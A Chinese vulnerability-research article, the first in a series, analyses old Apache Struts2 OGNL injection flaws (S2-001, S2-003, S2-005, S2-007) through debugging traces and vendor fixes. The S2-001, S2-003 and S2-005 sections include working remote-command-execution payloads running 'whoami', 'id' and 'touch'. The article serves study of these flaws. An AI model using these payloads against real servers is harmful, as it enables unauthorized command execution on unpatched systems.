奇安信攻防社区-Struts2历史高危漏洞分析系列：(一)

Struts2历史高危漏洞分析系列：(一)

尽管现在struts2用的越来越少了，但对于漏洞研究人员来说，感兴趣的是漏洞的成因和漏洞的修复方式，因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架，无论对涉及到的框架知识，还是对过去多年出现的高危漏洞的原理进行学习，都会对之后学习和审计其他同类框架很有帮助。

目录
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- [前言](#preface)
- [S2-001](#s2-001)
- [S2-003](#s2-003)
- [S2-005](#s2-005)
- [S2-007](#s2-007)
- [S2-008](#s2-008)
- [S2-009](#s2-009)
- [S2-012](#s2-012)
- [S2-013](#s2-013)
- [S2-015](#s2-015)
- [S2-016](#s2-016)
- [S2-032](#s2-032)
- [S2-045](#s2-045)
- [S2-052](#s2-052)
- [S2-053](#s2-053)
- [S2-057](#s2-057)
- [S2-059](#s2-059)
- [S2-061](#s2-061)
- [小结](#summary)
- [Reference](#reference)

前言
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PS: 本系列分析的漏洞均为已公开的漏洞，Struts2官方都早已发布修复版本。建议直接使用最新版本。

S2-001
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官方漏洞公告：  
<https://cwiki.apache.org/confluence/display/WW/S2-001>

影响版本：`Struts 2.0.0 - Struts 2.0.8`

漏洞复现和分析
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根据漏洞描述，可知struts2中有个名为`altSyntax`的特性，该特性允许在表单中提交包含`OGNL`表达式的字符串(一般是通过文本字段，即struts2的`<s:textfile>`标签)，且可对包含OGNL的表达式进行递归计算。

漏洞复现环境使用的是docker镜像：`medicean/vulapps:s_struts2_s2-001`

这里先使用最简单的`PoC`进行调试：`%{2+5}`

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-65562626327ba2d8a82ca9ceb16044d8a7e48a70.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-65562626327ba2d8a82ca9ceb16044d8a7e48a70.png)

Submit提交后，OGNL表达式返回结果并填充在`textfield`文本框中：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-8ec9a1bab543ce9f4c2c5f35656ef4d53699f1c8.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-8ec9a1bab543ce9f4c2c5f35656ef4d53699f1c8.png)

下面就来调试分析一下。  
由于漏洞是在struts2对文本标签`<s:textfield>`处理的过程中触发的，所以先找到相对应的处理类。在IDEA里，对着`<s:textfield>`处点击便可定位到文件`struts-tags.tld`，其中可看到该标签相关的一些属性定义，包括该标签的对应的处理类为：`org.apache.struts2.views.jsp.ui.TextFieldTag`。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ee0348dd5a03fb84d40eefa2ba0d3487f35542cc.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ee0348dd5a03fb84d40eefa2ba0d3487f35542cc.png)

在该类中搜索处理开始标签和结束标签的方法，发现其使用的是父类`ComponentTagSupport`的处理方法：`doStarTag`和`doEndTag`。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ea706e48c044714c3df31f6f647a9e787d80dab2.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ea706e48c044714c3df31f6f647a9e787d80dab2.png)

在这两个方法中下断点。经调试发现，触发漏洞是在`doEndTag`方法中。因此，当当前标签时`TextField`类型时，单步跟进调试。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-183d04fa3a4d7ee71488279224aef65d6c1bc111.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-183d04fa3a4d7ee71488279224aef65d6c1bc111.png)

调试进入`UIBean#evaluateParams()`方法中，当请求的参数中`value`为null时，则会根据`name`属性的值去获取对应的`value`属性的值。且`altSyntax`特性默认是开启的(该属性设置在struts2的文件`default.properties`中)，所以这里会用`OGNL`表达式的标识符`%{}`把`name`属性的值包住，比如当前表单的用户名文本输入框中，`name`属性的值为`username`，则加了`OGNL`表达式标识符后变为：`%{username}`，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5e7b14e9efb21086ee43e17720c2ced3bef3f8db.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5e7b14e9efb21086ee43e17720c2ced3bef3f8db.png)

继续跟进`findValue()`方法，后面会进入到`TextParserUtil#translateVariables()`方法中，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6cd92fe3d22a801de3895f7d4e41bae69add7878.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6cd92fe3d22a801de3895f7d4e41bae69add7878.png)

在`TextParserUtil#translateVariables()`方法中，有一个`while(true)`循环，这里会调用`OgnlValueStack#findValue()`方法来计算`OGNL`表达式(其实底层调用的还是`OGNL`的API)计算。&lt;br&gt;  
计算`%{username}`，截取`%{}`里面的内容`username`，会从值栈ValueStack的`Root`对象中获取key为`username`的值，即`%{2+5}`。由于获取到的值`%{2+5}`仍然是一个`OGNL`表达式，故会再次进行计算，此时便是计算`2+5`得到值`7`。

> PS：本文不会详细讨论struts2的ValueStack、OGNL等知识点。  
> 想了解的朋友可参考陆舟的《Struts2技术内幕》一书中的第6章, 以及第8章的8.2小节。

到此，漏洞原理的部分已经分析完了。

由于比较好奇这里为什么表单文本框的内容提交后`OGNL`表达式的计算结果会以替换文本输入框内容的方式进行回显。于是便进一步调试。  
发现在`UIBean#evaluateParams()`计算完成后，会进入`UIBean#mergeTemplate()`方法构造一个页面返回到客户端。跟进该方法，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-17671bbc23c82b448b98b517ea707d222be06d05.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-17671bbc23c82b448b98b517ea707d222be06d05.png)

可看到该方法中使用了模板引擎Freemarker进行页面的构造，这里主要先针对用户名的文本框进行构造，所需参数由`getParameters()`方法返回，返回的值里就包含了上面OGNL表达式`%{2+5}`的计算结果`7`，保存在`key`为`nameValue`的值中。  
再来看看此时使用的模板`template`参数的值`/template/xhtml/text`，最后定位到具体的模板文件`/template/simple/text.ftl`，内容如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f9a772f3ea95c48c105d5de99b9a9007e7d22c4b.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f9a772f3ea95c48c105d5de99b9a9007e7d22c4b.png)

这就一目了然了：这里会判断参数`parameters`中的`nameValue`的值是否存在，存在的话便填充到该文本输入框的`value`属性中。

### 可回显PoC

这里使用OGNL上下文对象`context`去获取`HttpServletResponse`对象，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-dfa79a63d1996bedbf56419278fb6b51ea31ba51.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-dfa79a63d1996bedbf56419278fb6b51ea31ba51.png)

于是有：

```java
%{#p=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).start(),
#is=#p.getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#arr=new char[50000],
#br.read(#arr),
#str=new java.lang.String(#arr),
#writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#writer.println(#str),
#writer.flush(),
#writer.close()}
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-3d2bfda8533845ef18f32203d00d5e21e410bbf3.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-3d2bfda8533845ef18f32203d00d5e21e410bbf3.png)

漏洞修复
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在struts2 `2.0.9`版本中，依赖的XWork的版本为`2.0.4`，在该版本中，`com.opensymphony.xwork2.util.TextParseUtil#translateVariables()` 判断循环的次数，如果超过`1`次，就退出`while(true)`循环体，从而避免`OGNL`表达式的递归执行，如下图所示。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-61c316d64189bdbab9f90d1ad4d32300a3c89c3f.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-61c316d64189bdbab9f90d1ad4d32300a3c89c3f.png)

换言之，在处理完`%{username}`后，就不能对获取到的值再进行OGNL表达式计算了。

S2-003
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官方漏洞公告：  
<https://cwiki.apache.org/confluence/display/WW/S2-003>

影响版本：`Struts 2.0.0 - Struts 2.0.11.2`

漏洞复现与分析
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如公告所述，该漏洞存在于Struts2默认的一个拦截器`ParametersInterceptor`。该过滤器在处理请求参数时，为了防止外界输入通过OGNL表达式来操作OGNL上下文对象`context`，对字符`#`进行了安全过滤。但由于OGNL可以识别unicode编码，故可将字符`#`进行unicode编码(即`\u0023`)后进行绕过。

下面来实际调试一下。

漏洞复现环境依旧使用`struts-2.0.11.2/apps/struts2-blank-2.0.11.2.war`。

客户端发送请求后，在`ParametersInterceptor#doIntercept()`方法里断下，然后会先调用`OgnlContextState.setDenyMethodExecution(contextMap, true)`方法来设置不允许OGNL表达式调用方法。然后调用`ParametersInterceptor#setParameters()`方法对请求参数进行处理。如下图：

> 关于`OgnlContextState.setDenyMethodExecution(contextMap, true)`控制不允许OGNL表达式调用方法的实现原理，简单说一下：其实就是在OGNL上下文对象`context`内设置一个标志位，`key`为`XWorkMethodAccessor`的字符串常量`DENY_METHOD_EXECUTION`，值为`true`。当OGNL表达式里有方法调用时，OGNL的底层实现会调用`XWorkMethodAccessor#callMethod()`方法，里面会判断上下文对象`context`中`DENY_METHOD_EXECUTION`对应的值，如果是`true`，则不会执行方法，反之则执行方法。
> 
> 关于OGNL中`MethodAccessor`的知识点这里不详细讨论，请参考陆舟的《Struts2技术内幕》一书中第6章的6.3小节。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2bdb3c5c349e5a13ffd1f7999ff009e78beb65f1.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2bdb3c5c349e5a13ffd1f7999ff009e78beb65f1.png)

继续跟进`ParametersInterceptor#setParameters()`方法，里面会调用`ParametersInterceptor#acceptableName()`对参数名进行安全校验，即是否包含特殊字符`=,#:`。如果没有包含指定字符，则继续执行，会调用`OgnlValueStack#setValue()`对参数名进行OGNL表达式计算。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-629fa90629765cdcc95ef69d62b11c7f4d91568f.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-629fa90629765cdcc95ef69d62b11c7f4d91568f.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-7a778e02a30f9ab8f44e8efbe511dcbbfda68719.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-7a778e02a30f9ab8f44e8efbe511dcbbfda68719.png)

继续跟进，会调用`OgnlUtil#compile()`方法，当首次请求时，`expressions`这个`HashMap`集合中没有以当前表达式作为`key`的`value`，所以会调用`Ognl#parseExpression()`解析当前表达式，而解析后的结果存放到`expressions`这个`HashMap`集合中。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f91f4d5fc6516e7fd65c3e3b0a726b90640db50a.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f91f4d5fc6516e7fd65c3e3b0a726b90640db50a.png)

而`Ognl#parseExpression()`的解析过程中，后面会调用`JavaCharStream#readChar()`，该方法中，会对unicode编码转化为ASCII码字符。比如`\u0023`会转化为`#`。如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6c003583654d88efc8f9753e83db44d0b0970008.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6c003583654d88efc8f9753e83db44d0b0970008.png)

综上，我们就可以将OGNL表达式中的特殊符号`=,#:`进行unicode编码后再发送，便可绕过`acceptableName()`方法的过滤。另外，再利用OGNL表达式的`Expression Evaluation`特性来编写PoC。

> 说到OGNL的`Expression Evaluation`特性，它支持`(expr)`、`(expr1)(expr2)`或`(expr1)(expr2)(expr3)`这样的写法。  
> 但遗憾的是，[官方文档](http://commons.apache.org/proper/commons-ognl/language-guide.html)对`Expression Evaluation`的用法解释得让人看不懂，因为它的字面意思跟这个漏洞公开的PoC的编写逻辑个人感觉对不上。  
> 另外，网上关于Struts2 RCE漏洞的分析文章大多数都没有对`(expr1)(expr2)`OGNL表达式求值背后的计算逻辑进行说明，少数有说到这个的却没有说明白。  
> 我在调试这个漏洞的时候花了不少时间在`Ognl#setValue()`方法的底层实现上，想搞清楚它背后的运算逻辑，比如该漏洞的PoC为什么用`(java_code)(fuck)(fuck)`可以成功执行Java代码，而`(fuck)(fuck)(java_code)`这种调换了一下位置就不行？  
> 但调试的过程发现，其底层实现比较复杂，涉及到将字符串转换为Ognl底层的AST语法树，然后括号`()`中不同形式的表达式，OGNL底层会使用不同类型的`AST Node`类去表示，如果某个`AST Node`还是一个AST语法树的话，又继续解析。且不同类型的`AST Node`，其行为是不同的，比如有的方法用的父类`SimpleNode`的方法，有的是重写了自己的方法，而这些不同可能会决定了`()`表达式顺序如何摆放  
> 才能成功执行Java代码。  
> 另外，在调试过程中发现OGNL的代码里有用的注释很少...  
> 所以到最后我都没办法用言语来描述它的运算规则。因此，我只能用一种笨办法来获得结论，就是用不同形式的求值表达式去做测试，看哪种形式可以成功执行Java代码，测试结果如下：
> 
> OGNL表达式求值(Expression Expression)：  
> 1、如果是调用的`OgnlUtil.getValue()`方法，则以下表达式可以执行java代码：
> 
> - (java code)
> - (java code)(fuck)
> - (fuck)(java code)
> - (java code)(fuck)(fuck)
> - (fuck)(java code)(fuck)
> 
> 2、如果是调用的OgnlUtil.setValue()方法，则以下表达式可以执行java代码：
> 
> - (java code)(fuck)
> - (fuck)(java code)
> - (java code)(fuck)(fuck)
> - (fuck)(java code)(fuck)

因为这个该漏洞时由`OgnlUtil.setValue()`方法去触发的，所以综上，可简单执行命令的PoC如下：

```php
/xxx.action?
(a)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&amp;(b)(%5cu0040java.lang.Runtime%5cu0040getRuntime().exec(%22touch%20/tmp/success2%22))
```

### 可回显PoC

与`S2-001`回显PoC同理，也是通过从上下文对象`context`获取`com.opensymphony.xwork2.dispatcher.HttpServletResponse`对象来实现，如下：

```php
/xxx.action?
(a)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)(bla)
&amp;(b)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('id'))(bla)
&amp;(c)(%5cu0023dis%5cu003dnew%5cu0020java.io.BufferedReader(new%5cu0020java.io.InputStreamReader(%5cu0023ret.getInputStream())))(bla)
&amp;(d)(%5cu0023res%5cu003dnew%5cu0020char[20000])(bla)
&amp;(e)(%5cu0023dis.read(%5cu0023res))(bla)
&amp;(f)(%5cu0023writer%5cu003d%5cu0023context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())(bla)
&amp;(g)(%5cu0023writer.println(new%5cu0020java.lang.String(%5cu0023res)))(bla)
&amp;(h)(%5cu0023writer.flush())(bla)
&amp;(i)(%5cu0023writer.close())(bla)
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-de8be2d056604a803164031e02809252f694e198.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-de8be2d056604a803164031e02809252f694e198.png)

当然，这里用两个括号的形式也是可以的，但是无论用哪种，Java代码一定要放在第二个括号里，第一个括号里的用来决定表达式的执行顺序。因为在`ParametersInterceptor#setParameters()`方法中会把所有的url请求参数放在一个`TreeMap`里,且作为`key`进行存放。而`TreeMap`默认是会按照`key`进行字典排序的。所以如果要让PoC里所有的表达式都按照指定的先后顺序执行的话，必须使用第一个括号进行排序。比如上面回显PoC里第一个表达式先后依次就是`(a)`-&gt;`(b)`-&gt;`(c)`-&gt;`(d)`-&gt;`(e)`-&gt;`(f)`-&gt;`(g)`-&gt;`(h)`-&gt;`(i)`。

> 注意：这个PoC在有的高版本的Tomcat会报400错误，提示`java.lang.IllegalArgumentException: Invalid character found in the request target. The valid characters are defined in RFC 7230 and RFC 3986`，这是因为高版本的Tomcat按照RFC规定实现，不允许URL中出现中括号`[]`，这时只需将URL里的中括号`[]`进行url编码即可。

漏洞修复
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Struts2 `2.0.12`版本，依赖的XWork版本是`2.0.6`。通过比对XWork`2.0.6`和`2.0.5`版本的源码的不同，发现在类`OgnlValueStack`中使用了`SecurityMemberAccess`去替代`StaticMemberAccess`。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1cb6fcee1c042cb07ae3fe6acfd11f92e265f60e.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1cb6fcee1c042cb07ae3fe6acfd11f92e265f60e.png)

类`OgnlValueStack`还因实现了新接口`MemberAccessValueStack`而实现了其两个方法：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-16f4b0093fc41fd56be0593c8749d98000cbf227.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-16f4b0093fc41fd56be0593c8749d98000cbf227.png)

而这两个方法在`ParametersInterceptor#setParameters()`方法中被调用：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-92a502c8ef97cac351219aad9f8adbcee0353ca9.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-92a502c8ef97cac351219aad9f8adbcee0353ca9.png)

**那么`SecurityMemberAccess`这个类是如何起到防护作用的呢？**  
跟踪代码到最后OGNL表达式中如果有Java方法被调用的话，最终会调用`OgnlRuntime#callAppropriateMethod()`方法，里面有个`isMethodAccessible()`方法的判断：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-eee292a8a4a54042a99cb3f20730ea94088bd613.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-eee292a8a4a54042a99cb3f20730ea94088bd613.png)

从上图代码可知，`isMethodAccessible()`方法一定要返回`true`，才能继续往下走从而通过反射调用我们的Java方法，否则抛异常`NoSuchMethodException`。

继续跟进`isMethodAccessible()`，发现最终会调用`SecurityMemberAccess#isAcceptableProperty()`方法进行判断, 该方法要返回`true`才可以, 其实现如下:

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-03178cbcc71f96ea740ae5f3c1889f1a22adc56a.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-03178cbcc71f96ea740ae5f3c1889f1a22adc56a.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-4ffa4dd0a71253c37bf82231ea9dfbcad4449a8d.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-4ffa4dd0a71253c37bf82231ea9dfbcad4449a8d.png)

很明显，需要`isAccepted()`返回`true`并且`isExcluded(name)`返回`false`才行。

而`isAccepted()`和`isExcluded()`的返回值取决于`SecurityMemberAccess`的两个属性：`acceptProperties`和`excludeProperties`。这两个属性的赋值前面提到，是在`ParametersInterceptor#setParameters()`方法中，其对应的值是`ParametersInterceptor`的两个属性`acceptParams`和`excludeParams`。通过阅读代码可知，`acceptParams`是一个空的集合，而`excludeParams`这个集合由于interceptor的配置文件中`ParametersInterceptor`的配置了该属性的初始值所以并不是空集合。其实这两个属性的值也可以通过调试可知。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2ae89186377ed441ca2b6799123cfb8bec0ea431.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2ae89186377ed441ca2b6799123cfb8bec0ea431.png)

所以`isAccepted()`是会返回`true`的，而`isExcluded()`也返回了`true`从而导致无法执行Java方法。

但这种修复方式，不治标也不治本。虽然给Java执行方法的门上了一把锁，但却把钥匙也插在锁上了，从而有了后面的S2-005。

S2-005
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官方漏洞公告：  
<https://cwiki.apache.org/confluence/display/WW/S2-005>

影响版本：`Struts 2.0.0 - Struts 2.1.8.1`

漏洞复现与分析
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漏洞环境：`Struts2-2.0.12/apps/struts2-blank-2.0.12.war`

从前面对S2-003的漏洞修复部分可以知道，只要想办法让`SecurityMemberAccess#isExcluded()`方法返回`false`，就能让我们注入的OGNL表达式中的Java方法执行。而要`SecurityMemberAccess#isExcluded()`方法返回`false`，就得让`SecurityMemberAccess`的`excludeProperties`这个集合置空才行。

通过查看源码，发现`SecurityMemberAccess`对象是在`OgnlValueStack`对象被创建时，存放到其`context`属性(即该值栈的上下文对象,`OgnlContext`)中的。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f73f883055cb85b7828ecf47ba63bc6d7aee373b.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f73f883055cb85b7828ecf47ba63bc6d7aee373b.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-74451d3b71310898000d2a2cfbf7f946ba5ad460.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-74451d3b71310898000d2a2cfbf7f946ba5ad460.png)

所以是不是可以通过OGNL表达式`#context['memberAccess']`就能访问`SecurityMemberAccess`对象了呢？

**答案是否定的**。

通过阅读`OgnlContext`的源码发现，`OgnlContext`虽然自身实现了`Map`集合接口，并重写了`Map#put()`和`Map#get()`方法。但并没有把`SecurityMemberAccess`对象`put()`到内部`Map`集合中，而是赋值给自己的成员变量`memberAccess`中。实际上，`OgnlContext`是使用了装饰模式去扩展`Map`接口的。其内部有两个`Map`类型的成员变量：`RESERVED_KEYS`和`values`来进行实际的`Map`容器存取操作。因此我们不能通过OGNL表达式`#context['memberAccess']`来访问`SecurityMemberAccess`对象。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c5128db9e82ecc5288128c0994fc8faadc15c7dd.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c5128db9e82ecc5288128c0994fc8faadc15c7dd.png)

但是从`OgnlContext`重写`Map`的`get()`方法中，我们看到了有意思的事，就是如果当`RESERVED_KEYS`集合包含名为`_memberAccess`的key时，会返回`SecurityMemberAccess`对象。而`RESERVED_KEYS`集合中确实是包含这个key的。所以我们就可以通过OGNL表达式`#context['_memberAccess']`或`#_memberAccess`去访问到`SecurityMemberAccess`对象。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-81a82154f00c2aae5aec32a41f1434bbb2743ce9.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-81a82154f00c2aae5aec32a41f1434bbb2743ce9.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5b055c4eb0a5557d1fcd26ef1c82bc88c3b4c007.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5b055c4eb0a5557d1fcd26ef1c82bc88c3b4c007.png)

因此简单执行命令的PoC如下：

### 可回显PoC

与前面漏洞不同的是，本次漏洞的回显PoC无法向之前的方式去获取`com.opensymphony.xwork2.dispatcher.HttpServletResponse`对象来实现。经调试发现，因为当前`context`对象是在一个新的`OgnlValueStack`值栈对象(即`newStack`)里的，其中并没有这个键值，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-add427a0f85ea2aacf991c1433029cb0e03a2ef2.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-add427a0f85ea2aacf991c1433029cb0e03a2ef2.png)

因为这个里的`newStack`是由原来的`stack`新建的，阅读`OgnlValueStack(ValueStack)`构造方法的实现可知，新建的`newStack`并不会拷贝`stack`的`context`上下文对象的键值对。所以这里换一种方式，使用静态方法`ServletActionContext#getResponse()`去获取`HttpServletResponse`对象，实际上它获取的就是原来的`stack`值栈结构中的`context`上下文对象里的`com.opensymphony.xwork2.dispatcher.HttpServletResponse`。

因此构造可回显PoC如下：

```php
/xxx.action?
(a)(%5cu0023_memberAccess.excludeProperties%5cu003d@java.util.Collections@EMPTY_SET)
&amp;(b)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&amp;(c)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('id'))
&amp;(d)(%5cu0023dis%5cu003dnew%5cu0020java.io.BufferedReader(new%5cu0020java.io.InputStreamReader(%5cu0023ret.getInputStream())))
&amp;(e)(%5cu0023res%5cu003dnew%5cu0020char[20000])
&amp;(f)(%5cu0023dis.read(%5cu0023res))
&amp;(g)(%5cu0023writer%5cu003d@org.apache.struts2.ServletActionContext@getResponse().getWriter())
&amp;(h)(%5cu0023writer.println(new%5cu0020java.lang.String(%5cu0023res)))
&amp;(i)(%5cu0023writer.flush())
&amp;(j)(%5cu0023writer.close())
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0c3ec0c6ad72a6dc170ae39e6e376060fb583cc9.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0c3ec0c6ad72a6dc170ae39e6e376060fb583cc9.png)

后来用Struts2 `2.1.8.1`版本也调了下，发现代码有细微差别。上面的PoC无效。不过实现思路是一样的，改一下即可：

```php
/xxx.action?
(a)(%5cu0023_memberAccess.allowStaticMethodAccess%5cu003dtrue)
&amp;(b)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&amp;(c)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('id'))
&amp;(d)(%5cu0023dis%5cu003dnew%5cu0020java.io.BufferedReader(new%5cu0020java.io.InputStreamReader(%5cu0023ret.getInputStream())))
&amp;(e)(%5cu0023res%5cu003dnew%5cu0020char[20000])
&amp;(f)(%5cu0023dis.read(%5cu0023res))
&amp;(g)(%5cu0023writer%5cu003d@org.apache.struts2.ServletActionContext@getResponse().getWriter())
&amp;(h)(%5cu0023writer.println(new%5cu0020java.lang.String(%5cu0023res)))
&amp;(i)(%5cu0023writer.flush())
&amp;(j)(%5cu0023writer.close())
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-a8fca4ef4e367bce3c7569b7b3d61493d5a481d1.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-a8fca4ef4e367bce3c7569b7b3d61493d5a481d1.png)

漏洞修复
----

在Struts `2.2.1`版本中，使用了正则表达式匹配白名单字符的方式去校验请求url的参数：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c3d2e90017aa8aa0e4ce21597141e0632a7da227.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c3d2e90017aa8aa0e4ce21597141e0632a7da227.png)

S2-007
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官方漏洞公告：  
<https://cwiki.apache.org/confluence/display/WW/S2-007>

影响版本：`Struts 2.0.0 - Struts 2.2.3`

漏洞复现与分析
-------

从漏洞公告可获悉该漏洞出现的场景和PoC。

这里使用Struts2 `2.2.3`自带的示例应用`showcase`进行漏洞复现，找到校验器Validate部分，如下：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ab453e947db9cb307ce9cf417880c2f8f60ac5e2.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ab453e947db9cb307ce9cf417880c2f8f60ac5e2.png)

如上图，在`Integer Validator Field`一栏的输入框中，输入PoC `<' + #application + '>`，提交后，由于没有通过应用程序中定义的整数校验器的校验，所以将输入中包含的OGNL表达式进行解析，并将解析结果进行返回。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0b478bf61019e8555346777180b40e9d580c8c0c.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0b478bf61019e8555346777180b40e9d580c8c0c.png)

从漏洞公告中可获悉漏洞出现在struts2的默认拦截器`com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor`的`getOverrideExpr()`方法中：

> 但经调试发现,实际上调用的是其子类`StrutsConversionErrorInterceptor`的`getOverrideExpr()`方法。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b777b63598abba63a50b555d04ae32bc508a18db.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b777b63598abba63a50b555d04ae32bc508a18db.png)

如上图，该方法返回`"'" + value + "'"`。结合给出的PoC，很容易可猜想到，该方法会将文本输入框中提交过来的字符串用单引号`'`包裹上，原因应该是为了防止OGNL表达式的执行。很明显，可构造输入将这里的单引号`'`左右都进行闭合，便可以绕过防护。

> 在调试分析该漏洞前，建议先了解下struts2的主体架构和运行主线，关于这个可参考陆舟编著的《Struts2技术内幕》第七、第八章。
> 
> 另外，还需要了解一下struts2的校验器框架的原理。关于这个可参考链接：[https://blog.csdn.net/Mark\_LQ/article/details/49837507](https://blog.csdn.net/Mark_LQ/article/details/49837507)

下面来实际调试分析一下。

struts2提供的校验器框架，也是通过拦截器去实现的。按照拦截器的先后顺序，下面会提及最后的四个：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ab3d2f9a4cbfe985a820df33acaaa5f4aa60e9a3.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ab3d2f9a4cbfe985a820df33acaaa5f4aa60e9a3.png)

1. `params`对应的类：`com.opensymphony.xwork2.interceptor.ParametersInterceptor`
2. `conversionError`对应的类：`org.apache.struts2.interceptor.StrutsConversionErrorInterceptor`
3. `validation`对应的类：`org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor`
4. `workflow`对应的类：`com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor`

表单提交后，会先到拦截器`ParametersInterceptor#doIntercept()`进行处理，会把参数存到当前值栈ValueStack的上下文对象context中，然后再把执行的控制权移交下一个拦截器`StrutsConversionErrorInterceptor`去执行。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-78b9dd0aa6586a26dc2ca10102e3cbdeeea302cc.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-78b9dd0aa6586a26dc2ca10102e3cbdeeea302cc.png)

`StrutsConversionErrorInterceptor`从`ActionContext`中将转化类型时发生的错误信息添加到校验器对应的Action对象的FieldError中，在校验时候经常被使用到来在页面中显示类型转化错误的信息。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-eabdf46b521693d020a7bf305c7ea34e6fe70789.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-eabdf46b521693d020a7bf305c7ea34e6fe70789.png)

另外，还会将类型转化失败的参数值传入`getOverrideExpr()`方法进行处理，处理后再通过回调的方式保存到当前值栈ValueStack对象的属性`overrides`中，该属性是一个`Map`集合。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1e45cfc3eea493ab8428d99e23141ceb75f9efdc.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1e45cfc3eea493ab8428d99e23141ceb75f9efdc.png)

